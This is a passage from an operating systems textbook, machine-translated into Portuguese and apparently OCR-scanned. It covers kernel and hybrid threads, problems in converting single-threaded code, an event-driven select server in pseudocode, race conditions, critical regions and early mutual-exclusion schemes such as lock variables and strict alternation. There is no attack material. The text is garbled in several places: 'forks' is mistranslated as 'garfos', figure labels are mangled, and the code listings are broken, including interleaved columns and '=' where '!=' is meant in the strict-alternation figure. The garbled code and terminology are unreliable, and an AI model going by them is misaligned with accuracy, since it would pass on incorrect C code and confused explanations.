tópicos. Quando um thread é destruído, ele é marcado como não executável, mas seu kernel 
as estruturas de dados não são afetadas de outra forma. Mais tarde, quando um novo thread deve ser 
criado, um thread antigo é reativado, economizando alguma sobrecarga. A reciclagem de fios também é 
possível para threads de nível de usuário, mas como a sobrecarga de gerenciamento de threads é muito 
menor, há menos incentivo para fazer isso. 

Threads do kernel não requerem nenhuma chamada de sistema nova e sem bloqueio. Além disso, 
se um thread em um processo causar uma falha de página, o kernel poderá facilmente verificar se 
o processo possui quaisquer outros threads executáveis e, nesse caso, execute um deles enquanto 
espera que a página necessária seja trazida do disco. Sua principal desvantagem é 
que o custo de uma chamada de sistema é substancial, portanto, se as operações de thread (criação, 
encerramento, etc.) forem comuns, ocorrerá muito mais sobrecarga. 
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Embora os threads do kernel resolvam alguns problemas, eles não resolvem todos os problemas. Para 
Por exemplo, ainda temos que pensar sobre o que acontece quando um processo multithread 
garfos. O novo processo tem tantos threads quanto o antigo ou tem 
tem apenas um? Em muitos casos, a melhor escolha depende do que o processo planeja fazer a seguir. Se for 
chamar exec para iniciar um novo programa, provavelmente um 
thread é a escolha correta, mas se continuar a executar, reproduzindo todos os 
threads é provavelmente o melhor. 

Outro problema com threads são os sinais. Lembre-se de que os sinais são enviados para processos, não para 
threads, pelo menos no modelo clássico. Quando um sinal chega, o que 
thread deve lidar com isso? Possivelmente os threads poderiam registrar seu interesse em determinados sinais, de 
modo que, quando um sinal chegasse, ele seria dado ao thread que dissesse que o deseja. 
No Linux, por exemplo, um sinal pode ser tratado por qualquer thread e o ganhador é selecionado pelo sistema 
operacional, mas podemos simplesmente bloquear o sinal em todos os threads. 
tópicos, exceto um. Se dois ou mais threads são registrados para o mesmo sinal, o sistema operacional escolhe um 
thread (digamos, aleatoriamente) e deixa-o manipular o sinal. De qualquer forma, 
esses são apenas alguns dos problemas que os threads apresentam e há mais. A menos que 


o programador é muito cuidadoso, é fácil cometer erros. 
2.2.6 Implementações Híbridas 


Várias maneiras foram investigadas para tentar combinar as vantagens dos threads no nível do usuário com os 
threads no nível do kernel. Uma maneira é usar threads em nível de kernel e 
em seguida, multiplexar threads de nível de usuário em alguns ou em todos eles, como mostrado na Figura 2.16. 
Quando esta abordagem é usada, o programador pode determinar quantos núcleos 
threads a serem usados e quantos threads de nível de usuário multiplexar em cada um. Esse 


modelo oferece a máxima flexibilidade. 


Vários threads de usuário 
em um thread do kernel 


> Do utilizador 


espaço 


Núcleo 
-+—— Tópico do kernel á espaço 


Figura 2-16. Multiplexação de threads de nível de usuário em threads de nível de kernel. 


Com esta abordagem, o kernel conhece apenas os threads de nível do kernel e 


portanto, programa isso. Alguns desses threads podem ter vários threads no nível do usuário 
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multiplexados sobre eles. Esses threads de nível de usuário são criados, destruídos e 
agendado como threads de nível de usuário em um processo executado em um sistema operacional 
sem capacidade multithreading. Neste modelo, cada thread no nível do kernel possui alguns 


conjunto de threads de nível de usuário que se revezam para usá-lo. 
2.2.7 Tornando código de thread único multithread 


Muitos programas existentes foram escritos para processos de thread único. Convertê-los para 
multithreading é muito mais complicado do que pode parecer à primeira vista. Abaixo nós 
examinará apenas algumas das armadilhas. 

Para começar, o código de um thread normalmente consiste em vários procedimentos, apenas 
como um processo. Eles podem ter variáveis locais, variáveis globais e parâmetros. 
Variáveis e parâmetros locais não causam nenhum problema, mas variáveis que são globais para 
um thread, mas não globais para todo o programa, são um problema. Estas são variáveis globais no 
sentido de que muitos procedimentos dentro do thread as utilizam. 
(já que eles podem usar qualquer variável global), mas outros threads devem logicamente deixar 
eles sozinhos. 

Como exemplo, considere a variável errno mantida pelo UNIX. Quando um 
processo (ou thread) faz uma chamada de sistema que falha, o código de erro é colocado em errno. 
Na Figura 2.17, o thread 1 executa a chamada de sistema access para descobrir se ele tem 
permissão para acessar um determinado arquivo. O sistema operacional retorna a resposta no formato global 
variável errno. Após o controle ter retornado ao thread 1, mas antes que ele tenha a chance de 
read errno, o escalonador decide que o thread 1 teve tempo de CPU suficiente para o 
momento e muda para o thread 2. O thread 2 executa uma chamada aberta que falha, que 
faz com que errno seja substituído e o código de acesso do thread 1 seja perdido para sempre. Quando 


o thread 1 for iniciado mais tarde, ele lerá o valor errado e se comportará incorretamente. 


Tópico 1 Tópico 2 


Acesso (configurado errado) 


Aberto (erro sobrescrito) 


Errno inspecionado 


Figura 2-17. Conflitos entre threads sobre o uso de uma variável global. 


Várias soluções para este problema são possíveis. Uma delas é proibir completamente as 
variáveis globais. Por mais digno que este ideal possa ser, ele entra em conflito com muitas 
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Programas. Outra é atribuir a cada thread suas próprias variáveis globais privadas, como mostrado na 
Figura 2.18. Dessa forma, cada thread possui sua própria cópia privada de errno e outras variáveis 
globais, evitando conflitos. Na verdade, esta decisão cria um novo nível de escopo, variáveis visíveis 
para todos os procedimentos de um thread (mas não para outros threads), além dos níveis de escopo 
existentes de variáveis visíveis apenas para um procedimento e variáveis visíveis em todo o programa. 


Código do 
tópico 1 


Código do 
tópico 2 


ilha do 
Thread 1 


ilha do 
Thread 2 


obais do 
Thread 1 


obais do 
Thread 2 


Figura 2-18. Threads podem ter variáveis globais privadas. 


Entretanto, acessar as variáveis globais privadas é um pouco complicado, já que a maioria das 
linguagens de programação tem uma forma de expressar variáveis locais e variáveis globais, mas não 
formas intermediárias. É possível alocar um pedaço de memória para os globais e passá-lo para cada 
procedimento na thread como um parâmetro extra. Embora dificilmente seja uma solução elegante, 
funciona. 

Alternativamente, novos procedimentos de biblioteca podem ser introduzidos para criar, definir e ler 
essas variáveis globais em todo o thread. A primeira chamada pode ser assim: 


criar global("bufptr"); 
Ele aloca armazenamento para um ponteiro chamado bufptr no heap ou em uma área de armazenamento 
especial reservada para o thread de chamada. Não importa onde o armazenamento esteja alocado, 
apenas o thread de chamada tem acesso à variável global. Se outro thread criar uma variável global 
com o mesmo nome, ele obterá um local de armazenamento diferente que não entre em conflito com o 


existente. 
Duas chamadas são necessárias para acessar variáveis globais: uma para escrevê-las e outra para 


lê-las. Para escrever, algo como 


definir global("bufptr”, &buf); 


vai fazer. Ele armazena o valor de um ponteiro no local de armazenamento criado anteriormente pela 
chamada para criar global. Para ler uma variável global, a chamada pode ser semelhante a 
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bufptr = leia globakK"bufptr"); 


Ele retorna o endereço armazenado na variável global, para que seus dados possam ser acessados. 

O próximo problema ao transformar um programa de thread único em um programa multithread é que 
muitos procedimentos de biblioteca não são reentrantes. Ou seja, eles não foram projetados para que uma 
segunda chamada seja feita para qualquer procedimento enquanto uma chamada anterior ainda não tiver 
sido concluída. Por exemplo, o envio de uma mensagem pela rede pode muito bem ser programado para 
montar a mensagem em um buffer fixo dentro da biblioteca e, em seguida, fazer um trap para o kernel para 
enviá-la. O que acontece se um thread reuniu sua mensagem no buffer e, em seguida, uma interrupção do 
relógio força uma mudança para um segundo thread que imediatamente sobrescreve o buffer com sua 
própria mensagem? 

Da mesma forma, procedimentos de alocação de memória, como malloc no UNIX, mantêm tabelas 
cruciais sobre o uso de memória, por exemplo, uma lista vinculada de pedaços de memória disponíveis. 
Embora malloc esteja ocupado atualizando essas listas, elas podem estar temporariamente em um estado 
inconsistente, com ponteiros que não apontam para lugar nenhum. Se ocorrer uma troca de thread enquanto 
as tabelas estiverem inconsistentes e uma nova chamada vier de um thread diferente, um ponteiro inválido 
poderá ser usado, levando a uma falha do programa. Resolver todos esses problemas de forma eficaz 
significa reescrever toda a biblioteca. Fazer isso é uma atividade não trivial, com possibilidade real de 
introduzir erros sutis. 

Uma solução diferente é fornecer a cada procedimento um wrapper que configure um bit para marcar 
a biblioteca como em uso. Qualquer tentativa de outro thread usar um procedimento de biblioteca enquanto 
uma chamada anterior ainda não foi concluída será bloqueada. Embora essa abordagem possa funcionar, 
ela elimina bastante o paralelismo potencial. 

A seguir, considere os sinais. Alguns sinais são logicamente específicos do thread; outros não. Por 
exemplo, se um thread chama o alarme m, faz sentido que o sinal resultante vá para o thread que fez a 
chamada. No entanto, quando os threads são implementados inteiramente no espaço do usuário, o kernel 
nem sequer conhece os threads e dificilmente consegue direcionar o sinal para o thread correto. Uma 
complicação adicional ocorre se um processo tiver apenas um alarme pendente por vez e vários threads 
chamarem o alarme de forma independente. 

Outros sinais, como interrupção do teclado, não são específicos do thread. Quem deveria pegá-los? 
Um tópico designado? Todos os tópicos? Além disso, o que acontece se um thread alterar os manipuladores 
de sinal sem informar outros threads sobre isso? 

E o que acontece se um thread quiser capturar um sinal específico (digamos, o usuário pressionar CTRL- 
C) e outro thread quiser que esse sinal encerre o processo? Esta situação pode surgir se um ou mais 
threads executarem procedimentos de biblioteca padrão e outros forem escritos pelo usuário. Claramente, 
esses desejos são incompatíveis. Em geral, os sinais são bastante difíceis de gerenciar, mesmo em um 
ambiente de thread único. Ir para um ambiente multithread não os torna mais fáceis de manusear. 


Um último problema introduzido pelos threads é o gerenciamento de pilha. Em muitos sistemas, 
quando a pilha de um processo transborda, o kernel apenas fornece a esse processo mais pilha 
automaticamente. Quando um processo possui vários threads, ele também deve ter várias pilhas. Se o 
kernel não estiver ciente de todas essas pilhas, ele não poderá aumentá-las automaticamente em caso de 
falha na pilha. Na verdade, ele pode nem perceber que uma falha de memória está relacionada ao 
crescimento da pilha de algum thread. 
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Esses problemas certamente não são intransponíveis, mas mostram que apenas a introdução 
de threads em um sistema existente sem uma reformulação bastante substancial do sistema não 
funcionará de forma alguma. A semântica das chamadas do sistema pode ter que ser redefinida 
e as bibliotecas reescritas, no mínimo. E todas essas coisas devem ser feitas de forma a 
permanecerem compatíveis com versões anteriores dos programas existentes para o caso limite 
de um processo com apenas um thread. Para informações adicionais sobre threads, ver Cook 
(2008) e Rodrigues et al. (2010). 


2.3 SERVIDORES ORIENTADOS POR EVENTOS 


Na seção anterior, vimos dois designs possíveis para um servidor Web: um multithread 
rápido e um lento de thread único. Suponha que os threads não estejam disponíveis ou não 
sejam desejáveis, mas os projetistas do sistema considerem inaceitável a perda de desempenho 
devido ao threading único, conforme descrito até agora. Se versões sem bloqueio de cnamadas 
de sistema, como read, estiverem disponíveis, uma terceira abordagem será possível. Quando 
uma solicitação chega, o único thread a examina. Se puder ser satisfeito a partir do cache, tudo 
bem, mas se não, uma operação de disco sem bloqueio será iniciada. 

O servidor registra o estado da solicitação atual em uma tabela e então obtém o próximo 
evento. O próximo evento pode ser uma solicitação de novo trabalho ou uma resposta do disco 
sobre uma operação anterior. Se for um trabalho novo, esse trabalho é iniciado. Se for uma 
resposta do disco, as informações relevantes são buscadas na tabela e a resposta é processada. 
Com E/S de disco sem bloqueio, uma resposta provavelmente terá que assumir a forma de um 
sinal ou interrupção. 

Neste desenho, perde-se o modelo de “processo sequencial” que tínhamos nos dois 
primeiros casos. O estado da computação deve ser explicitamente salvo e restaurado na tabela 
toda vez que o servidor passa de uma solicitação para outra. Na verdade, estamos simulando os 
threads e suas pilhas da maneira mais difícil. Um projeto como esse, no qual cada cálculo tem 
um estado salvo e existe algum conjunto de eventos que podem ocorrer para alterar o estado, é 
chamado de máquina de estados finitos. Este conceito é amplamente utilizado em toda a 
ciência da computação. 

Na verdade, é muito popular em servidores de alto rendimento, onde até mesmo threads 
são considerados muito caros e, em vez disso, é usado um paradigma de programação 
orientado a eventos . Ao implementar o servidor como uma máquina de estados finitos que 
responde a eventos (por exemplo, a disponibilidade de dados em um soquete) e interagir com o 
sistema operacional usando chamadas de sistema sem bloqueio (ou assíncronas), a 
implementação pode ser muito eficiente . Cada evento leva a uma explosão de atividade, mas nunca bloqueia. 

A Figura 2.19 mostra um exemplo de pseudocódigo de um servidor de agradecimento 
orientado a eventos (o servidor agradece a cada cliente que lhe envia uma mensagem) que usa 
a chamada select para monitorar múltiplas conexões de rede (linha 17). O select determina quais 
descritores de arquivo estão prontos para receber ou enviar dados e, fazendo um loop sobre 
eles, recebe todas as mensagens que pode e então tenta enviar mensagens de agradecimento 
em todas as conexões correspondentes que estão prontas para receber dados. Caso o servidor não consiga 
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0. /* Preliminares: 


1. svrSock: o soquete do servidor principal, vinculado à porta TCP 12345 
2. toSend: banco de dados para rastrear quais dados ainda temos para enviar ao cliente 


3. - toSend.put (fd, msg) irá registrar que precisamos enviar msg no fd 

4. - toSend.get (fd) retorna a string que precisamos para enviar a mensagem no fd 
5. - toSend.destroy (fd) remove todas as informações sobre fd de toSend */ 

6. 


7. inFds = { svrSock } /* descritores de arquivo para observar os dados recebidos */ 
8. outFds = { } /* descritores de arquivo a serem observados para ver se o envio é possível */ 
9. exceptFds = () /* descritores de arquivo para observar as condições de exceção (não usado) */ 


10. 

11. char msgBuf [TAMANHO MÁXIMO DA /* buffer para receber mensagens */ 

MSG] 12. char *thankYouMsg = "Obrigado!" /* responde para enviar de volta */ 

13. 

14. enquanto (VERDADEIRO) 

15. 

16. /* bloqueia até que alguns descritores de arquivo estejam prontos para serem usados */ 

17. rdylns, rdyOuts, rdyExcepts = selecione (inFds, outFds, exceptFds, NO TIMEOUT) — 
18. 

19. for (fd in rdyIns) /* itera sobre todas as conexões que têm algo para nós */ 

20. 

21. if (fd == svrSock) ( /* uma nova conexão de um cliente */ 
22. 

28. newSock = aceitar (svrSock) /* cria novo soquete para o cliente */ 

24. inFds = inFds { newSock ) /* deve monitorá-lo também */ 

25. ) 

26. outro 

27. { /* recebe a mensagem do cliente */ 

28. n = receber (fd, msgBuf, MAX MSG SIZE) — 

29. printf("Recebido: %s.0, msgBuf) 

30. 

31. toSend.put (fd, ThankYouMsg) /* ainda deve enviar ThankYouMsg no fd */ 
32. outFds = outFds { fd ) /* então devo monitorar este fd */ 

33. ) 

34. } 

35. for (fd in rdyOuts) /* itera sobre todas as conexões que podemos agradecer agora */ 
36. { 

37 msg = toSend.get (fd) n = /* veja o que precisamos enviar nesta conexão */ 
38 enviar (fd, msg, strlen (msg)) 

39 if (n <strlen (msg de agradecimento) 

40 { 

41 oSend.put (fd, msg+n) /* caracteres restantes para enviar na próxima vez*/ 
42 ) outro 

43. { 

44. oSend.destroy (fd) 

45. outFds = outFds \ { fd } /* já agradecemos este */ 

46 } 

47. } 

47) 


Figura 2-19. Um servidor de agradecimento orientado a eventos (pseudocódigo). 
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enviar a mensagem de agradecimento completa, ele lembra quais bytes ainda precisa enviar, então 

ele poderá tentar novamente mais tarde, quando houver mais espaço disponível. Simplificamos o programa para 
mantê-lo relativamente curto, por meio de pseudocódigo e sem nos preocuparmos com 

erros ou fechamento de conexões. No entanto, ilustra que um single-threaded 


O servidor orientado a eventos pode lidar com muitos clientes simultaneamente. 


Os sistemas operacionais mais populares oferecem interfaces de notificação de eventos 
especiais e altamente otimizadas para E/S assíncrona que são muito mais eficientes que a seleção. 
Exemplos bem conhecidos incluem a chamada de sistema epoll no Linux e similares 
Interface kqueue no FreeBSD. O Windows e o Solaris têm soluções ligeiramente diferentes. 

Todos eles permitem que o servidor monitore muitas conexões de rede ao mesmo tempo, sem 
bloquear nenhuma delas. Por causa disso, servidores Web como o nginx podem lidar 


confortavelmente com dez mil conexões simultâneas. Este não é um feito trivial e 
até tem seu próprio nome: o problema do C10k . 


Servidores Single-Threaded versus Multi-Threaded versus Servidores Orientados a Eventos 


Finalmente, vamos comparar as três maneiras diferentes de construir um servidor. Deveria agora 
seja claro o que os tópicos têm a oferecer. Eles permitem manter a ideia de 
processos sequenciais que fazem chamadas de bloqueio (por exemplo, para E/S de disco) e ainda alcançam 
paralelismo. O bloqueio de cnamadas do sistema facilita a programação e o paralelismo 
melhora o desempenho. O servidor single-threaded mantém a simplicidade de bloquear chamadas do sistema, 
mas abre mão do desempenho. 

A terceira abordagem, a programação orientada a eventos, também alcança alto desempenho por meio do 
paralelismo, mas utiliza chamadas e interrupções sem bloqueio para isso. Isto 
é considerado mais difícil de programar. Esses modelos estão resumidos na Figura 2.20. 


Modelo Características 

Tópicos Paralelismo, bloqueando chamadas do sistema 

Processo de thread único Sem paralelismo, bloqueando chamadas do sistema 
Máquina de estado finito/driver de eventos | paralelismo, chamadas de sistema sem bloqueio, interrupções 


Figura 2-20. Três maneiras de construir um servidor. 


Essas três abordagens para lidar com solicitações de um cliente aplicam-se não apenas ao usuário 
programas, mas também para o próprio kernel, onde a simultaneidade é tão importante para 
desempenho. Na verdade, este é um bom momento para salientar que este livro apresenta 
muitos conceitos de sistema operacional com ênfase no que eles significam para os programas do usuário, mas é 
claro que o próprio sistema operacional também usa esses conceitos internamente 
(e alguns são ainda mais relevantes para o sistema operacional do que para os programas do usuário). 
Assim, o próprio kernel do sistema operacional pode consistir em software multithread ou orientado a eventos. Por 
exemplo, o kernel Linux nas CPUs Intel modernas é um kernel de sistema operacional multithread. Em contraste, 
o MINIX 3 consiste em muitos servidores 
implementado seguindo o modelo de máquina de estados finitos e eventos. 


Machine Translated by Google 


SEC. 2.4 SINCRONIZAÇÃO E COMUNICAÇÃO ENTRE PROCESSOS 119 


2.4 SINCRONIZAÇÃO E COMUNICAÇÃO ENTRE PROCESSOS 


Os processos frequentemente precisam sincronizar e comunicar-se com outros processos. Por exemplo, 
em um pipeline shell, a saída do primeiro processo deve ser passada para o segundo processo e assim por 
diante. Assim, há necessidade de comunicação entre processos, preferencialmente de forma bem estruturada e 
sem utilização de interrupções. Nas seções a seguir, examinaremos algumas das questões relacionadas a esse 


IPC (comunicação entre processos). 

Muito brevemente, há três questões aqui. A primeira foi mencionada acima: como 
um processo pode passar informações para outro. A segunda tem a ver com fazer 
certifique-se de que dois ou mais processos ou threads não atrapalhem um ao outro, por exemplo, 
dois threads em um sistema de reservas de companhias aéreas, cada um tentando conseguir o último assento em um 
avião para diferentes clientes. A terceira diz respeito ao sequenciamento adequado quando dependências estão 
presentes: se o thread A produz dados e o thread B os imprime, Btem que 
espere até que A produza alguns dados antes de começar a imprimir. Examinaremos todos 
três dessas questões começando na próxima seção. 

Também é importante mencionar que duas dessas questões também se aplicam a threads 
quanto a processos com memória compartilhada. O primeiro — passar informações — é claramente mais fácil para 
threads, uma vez que eles compartilham um espaço de endereço comum por natureza. No entanto, 
os outros dois — manter-se afastados um do outro e sequenciar adequadamente — também são complicados para 
os fios. Abaixo discutiremos os problemas no contexto de 


processos, mas lembre-se de que os mesmos problemas e soluções se aplicam a 
tópicos. 


2.4.1 Condições da corrida 


Em alguns sistemas operacionais, os processos que trabalham juntos podem compartilhar 
algum armazenamento comum que cada um possa ler e escrever. O armazenamento compartilhado pode ser 
na memória principal (possivelmente em uma estrutura de dados do kernel) ou pode ser um arquivo compartilhado; o 
localização da memória compartilhada não altera a natureza da comunicação ou 
os problemas que surgem. Para ver como a comunicação entre processos funciona na prática, 
vamos agora considerar um exemplo simples, mas comum: um spooler de impressão. Quando um processo 
deseja imprimir um arquivo, ele insere o nome do arquivo em um diretório especial do spooler. Outro 
processo, o daemon da impressora, verifica periodicamente se há algum arquivo a ser 
impressos e, se houver, imprime-os e depois remove seus nomes do 
diretório. 
Imagine que nosso diretório de spooler possui um número muito grande de slots, numerados 
0, 1, 2, ..., cada um capaz de conter um nome de arquivo. Imagine também que existem dois 
variáveis compartilhadas, out, que aponta para o próximo arquivo a ser impresso, e in, que 
aponta para o próximo slot livre no diretório. Essas duas variáveis podem muito bem ser mantidas 
em um arquivo de duas palavras disponível para todos os processos. Num determinado instante, os slots 0 —3 são 
vazio (os arquivos já foram impressos) e os slots 4-6 estão cheios (com os nomes 
de arquivos na fila para impressão). Mais ou menos simultaneamente, os processos Ae B 
decidem que desejam colocar um arquivo na fila para impressão. Esta situação é mostrada na Figura 2.21. 
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Figura 2-21. Dois processos desejam acessar a memória compartilhada ao mesmo tempo. 


Em jurisdições onde a lei de Murphyțt é aplicável, o seguinte pode facilmente acontecer. O 
processo A lê e armazena o valor 7 em uma variável local chamada próximo slot livre. Só então 
ocorre uma interrupção do clock e a CPU decide que o processo A foi executado por tempo 
suficiente, então ele muda para o processo B. O processo B também lê e também obtém um 7. 
Ele também o armazena em sua variável local no próximo slot livre. . Neste instante, ambos os 
processos pensam que o próximo slot disponível é o 7. 

O processo B agora continua em execução. Ele armazena o nome do seu arquivo no slot 7 e 
atualiza para ser um 8. Então ele dispara e faz outras coisas. 

Eventualmente, o processo A é executado novamente, começando do ponto em que parou. 
Ele olha para o próximo slot livre, encontra um 7 e escreve o nome do arquivo no slot 7, apagando 
o nome que o processo B acabou de colocar lá. Em seguida, ele calcula o próximo slot livre + 1, 
que é 8, e define como 8. O diretório do spooler agora é internamente consistente, portanto o 
dae mon da impressora não notará nada de errado, mas o processo B nunca receberá nenhuma saída. 
O usuário B ficará na impressora por anos, esperando ansiosamente por resultados que nunca 
chegam. Situações como essa, onde dois ou mais processos estão lendo ou gravando alguns 
dados compartilhados e o resultado final depende de quem executa precisamente quando, são 
chamadas de condições de corrida. Depurar programas contendo condições de corrida não é 
nada divertido. Os resultados da maioria dos testes são bons, mas uma vez na lua azul algo 
estranho e inexplicável acontece. Infelizmente, com o aumento do paralelismo devido ao aumento 
do número de núcleos, as condições de corrida estão se tornando mais comuns. 


2.4.2 Regiões Críticas 


Como evitamos condições de corrida? A chave para evitar problemas aqui e em muitas 
outras situações envolvendo memória compartilhada, arquivos compartilhados e todo o resto 
compartilhado é encontrar alguma maneira de proibir mais de um processo de ler e 


t Se algo puder dar errado, dará. 
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escrevendo os dados compartilhados ao mesmo tempo. Em outras palavras, o que precisamos é de 
exclusão mútua, ou seja, de alguma forma de garantir que, se um processo estiver usando uma variável 
ou arquivo compartilhado, os outros processos serão excluídos de fazer a mesma coisa. A dificuldade 
acima ocorreu porque o processo B começou a usar uma das variáveis compartilhadas antes que o 
processo A terminasse com ela. A escolha de operações apropriadas para alcançar a exclusão mútua é 
uma questão importante de design em qualquer sistema operacional e um assunto que examinaremos 
detalhadamente nas seções seguintes. 

O problema de evitar condições de corrida também pode ser formulado de forma abstrata. Parte do 
tempo, um processo está ocupado fazendo cálculos internos e outras coisas que não levam a condições 
de corrida. No entanto, às vezes um processo precisa acessar memória ou arquivos compartilhados ou 
fazer outras coisas críticas que podem levar a corridas. 

A parte do programa onde a memória compartilhada é acessada é chamada de região crítica ou seção 
crítica. Se pudéssemos organizar as coisas de modo que nunca dois processos estivessem em suas 
regiões críticas ao mesmo tempo, poderíamos evitar corridas. 

Embora este requisito evite condições de corrida, não é suficiente para que processos paralelos 
cooperem de forma correta e eficiente usando dados compartilhados. Precisamos de quatro condições 
para ter uma boa solução: 


1. Dois processos não podem estar simultaneamente dentro das suas regiões críticas. 
2. Nenhuma suposição pode ser feita sobre velocidades ou número de CPUs. 
3. Nenhum processo executado fora de sua região crítica pode bloquear qualquer processo. 


4. Nenhum processo deveria esperar eternamente para entrar na sua região crítica. 


Num sentido abstrato, o comportamento que desejamos é mostrado na Figura 2.22. Aqui o processo 
A entra em sua região crítica no tempo T1. Um pouco mais tarde, no momento T2 , o processo B tenta 
entrar na sua região crítica, mas falha porque outro processo já está na sua região crítica e permitimos 
apenas um de cada vez. Consequentemente, B fica temporariamente suspenso até o momento T3 , 
quando A sai de sua região crítica, permitindo a entrada imediata de B. Eventualmente B sai (em T4) e 
voltamos à situação original sem processos em suas regiões críticas. 


2.4.3 Exclusão Mútua com Espera Ocupada 

Nesta seção, examinaremos diversas propostas para alcançar a exclusão mútua, de modo que, 
enquanto um processo estiver ocupado atualizando a memória compartilhada em sua região crítica, 
nenhum outro processo entrará em sua região crítica e causará problemas. 
Desativando interrupções 

Em um sistema de processador único, a solução mais simples é fazer com que cada processo 


desabilite todas as interrupções logo após entrar em sua região crítica e reabilitá-las logo antes de sair 
dela. Com as interrupções desativadas, nenhuma interrupção do relógio poderá ocorrer. A CPU 
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Figura 2-22. Exclusão mútua usando regiões críticas. 


só é comutado de processo para processo como resultado de interrupção do relógio ou outro 
afinal, e com as interrupções desligadas a CPU não será comutada para 
outro processo. Assim, uma vez que um processo desabilitou as interrupções, ele pode examinar e 
atualizar a memória compartilhada sem medo de que qualquer outro processo intervenha e 
bagunçar as coisas. 
Essa abordagem geralmente não é atraente porque não é aconselhável dar aos processos do 
usuário o poder de desligar interrupções. E se um deles fez isso e nunca virou 
colocá-los novamente? Esse poderia ser o fim do sistema. Além disso, se o sistema for 
um multiprocessador (com duas ou mais CPUs), desabilitar interrupções afeta apenas o 
CPU que executou a instrução de desabilitação . Os outros continuarão funcionando 
e pode acessar a memória compartilhada. 
Por outro lado, é frequentemente conveniente que o próprio kernel desabilite 
interrompe para algumas instruções enquanto atualiza variáveis ou especialmente críticas 
listas. Se ocorrer uma interrupção enquanto a lista de processos prontos, por exemplo, estiver em um 
estado inconsistente, condições de corrida podem ocorrer. A conclusão é: desabilitar interrupções é 
muitas vezes uma técnica útil dentro do próprio sistema operacional, mas não é apropriada como um 
mecanismo geral de exclusão mútua para processos de usuário. O núcleo 
não deve desabilitar interrupções para mais do que algumas instruções, para não perder interrupções. 
A possibilidade de alcançar a exclusão mútua desabilitando interrupções — até mesmo 
dentro do kernel - está diminuindo a cada dia devido ao número crescente de 
chips multicore, mesmo em PCs de baixo custo. Dois núcleos já são comuns, 4 estão presentes 
em muitas máquinas, e 8, 16 ou 32 não ficam muito atrás. Em um sistema multicore (ou seja, sistema 
multiprocessador), desabilitar as interrupções de uma CPU não impede outras 
CPUs interfiram nas operações que a primeira CPU está executando. Consequentemente, 
são necessários esquemas mais sofisticados. 
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Bloquear variáveis 


Como segunda tentativa, procuremos uma solução de software. Considere ter uma única variável 
compartilhada (bloqueio), inicialmente 0. Quando um processo deseja entrar em seu estado crítico 
região, ele primeiro testa o bloqueio. Se o bloqueio for 0, o processo o define como 1 e insere o 
região crítica. Se o bloqueio já for 1, o processo apenas espera até chegar a 0. 
Assim, um 0 significa que nenhum processo está em sua região crítica, e um 1 significa que algum processo está em sua região crítica. 
processo está em sua região crítica. 

Infelizmente, esta ideia contém exactamente a mesma falha fatal que vimos no 
diretório de spooler. Suponha que um processo leia o bloqueio e veja que é 0. 
Antes de definir o bloqueio como 1, outro processo é agendado, executado e define o bloqueio 
para 1. Quando o primeiro processo for executado novamente, ele também definirá o bloqueio para 1 e dois 
processos estarão em suas regiões críticas ao mesmo tempo. 

Agora você pode pensar que poderíamos contornar esse problema lendo em primeira 
descobrir o valor de bloqueio e, em seguida, verificá-lo novamente antes de armazená-lo, mas isso realmente 
não ajuda. A corrida agora ocorre se o segundo processo modificar o bloqueio apenas 
após o primeiro processo ter concluído sua segunda verificação. 


Alternância Estrita 


Uma terceira abordagem para o problema da exclusão mútua é mostrada na Figura 2.23. Esse 
fragmento de programa, como quase todos os outros neste livro, está escrito em C. C foi 
escolhido aqui porque os sistemas operacionais reais são virtualmente sempre escritos em C (ou 
ocasionalmente C++), mas quase nunca em linguagens como Java, Python ou Haskell. C é 
características poderosas, eficientes e previsíveis, essenciais para a operação de escrita 
sistemas. Java, por exemplo, não é previsível porque pode ficar sem armazenamento em 
um momento crítico e precisa invocar o coletor de lixo para recuperar a memória em um momento 
momento mais inoportuno. Isso não pode acontecer em C porque não há coleta de lixo em C. Uma 
comparação quantitativa de C, C++, Java e quatro outras linguagens 
é fornecido por Prechelt (2000). 


while (TRUE) enquanto (VERDADEIRO) ( 
{ while (turn = 0X} /* ciclo */ while (turn = 1X) região /* ciclo */ 
região crítica( ); turno crítica( );_ 
n=1; virar n = 0; 
região não crítica( ); região não crítica( ); 


(a) (b) 


Figura 2-23. Uma solução proposta para o problema da região crítica. (a) Processo 0. 


(b) Processo 1. Em ambos os casos, certifique-se de observar o ponto e vírgula que termina o while 
declarações. 


Na Figura 2-23, a variável inteira turn, inicialmente 0, registra de quem é a vez. 


para entrar na região crítica e examinar ou atualizar a memória compartilhada. Inicialmente, 
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o processo 0 inspeciona o turno, descobre que é 0 e entra em sua região crítica. Processo 1 também 
descobre que é O e, portanto, fica em um circuito fechado testando continuamente a curva para ver quando 
torna-se 1. Testar continuamente uma variável até que algum valor apareça é chamado 

ocupado esperando. Geralmente deve ser evitado, pois desperdiça tempo de CPU. Apenas quando 

há uma expectativa razoável de que a espera será curta se a espera ocupada for usada. A 

O bloqueio que usa espera ocupada é chamado de bloqueio giratório. 

Quando o processo 0 sai da região crítica, ele define o turno para 1, para permitir que o processo 1 
entrar em sua região crítica. Suponha que o processo 1 termine rapidamente sua região crítica, 
para que ambos os processos fiquem em suas regiões não críticas, com turn definido como 0. Agora o 
processo 0 executa todo o seu loop rapidamente, saindo de sua região crítica e configurando turn como 
1. Neste ponto, o turno é 1 e ambos os processos estão em suas regiões não críticas. 

De repente, o processo 0 termina a sua região não crítica e volta ao topo da 
seu ciclo. Infelizmente, não é permitido entrar na sua região crítica agora, porque 
o turno é 1 e o processo 1 está ocupado com sua região não crítica. Ele trava em seu loop while 
até que o processo 1 mude para 0. Em outras palavras, revezar não é uma boa ideia quando 
um dos processos é muito mais lento que o outro. 

Esta situação viola a condição 3 estabelecida acima: o processo 0 está sendo bloqueado por 
um processo que não está em sua região crítica. Voltando ao diretório do spooler discutido 
acima, se agora associarmos a região crítica à leitura e gravação do spooler 
diretório, o processo O não teria permissão para imprimir outro arquivo porque o processo 1 
estava fazendo outra coisa. 

Na verdade, esta solução exige que os dois processos se alternem estritamente ao entrar em suas 
regiões críticas, por exemplo, no spool de arquivos. Nenhum dos dois teria permissão para enrolar dois em 
sequência. Embora este algoritmo evite todas as corridas, não é 
realmente um candidato sério como solução porque viola a condição 3. 


Solução de Peterson 


Ao combinar a ideia de revezar com a ideia de variáveis de bloqueio e variáveis de alerta, um 
matemático holandês, T. Dekker, foi o primeiro a conceber uma solução de software para o problema da 
exclusão mútua que não requer alternância estrita. Para uma discussão do algoritmo de Dekker, consulte 
Dijkstra (1965). 

Em 1981, GL Peterson descobriu uma maneira muito mais simples de alcançar a exclusão mútua, 
tornando assim a solução de Dekker efetivamente obsoleta. Algoritmo de Peterson 
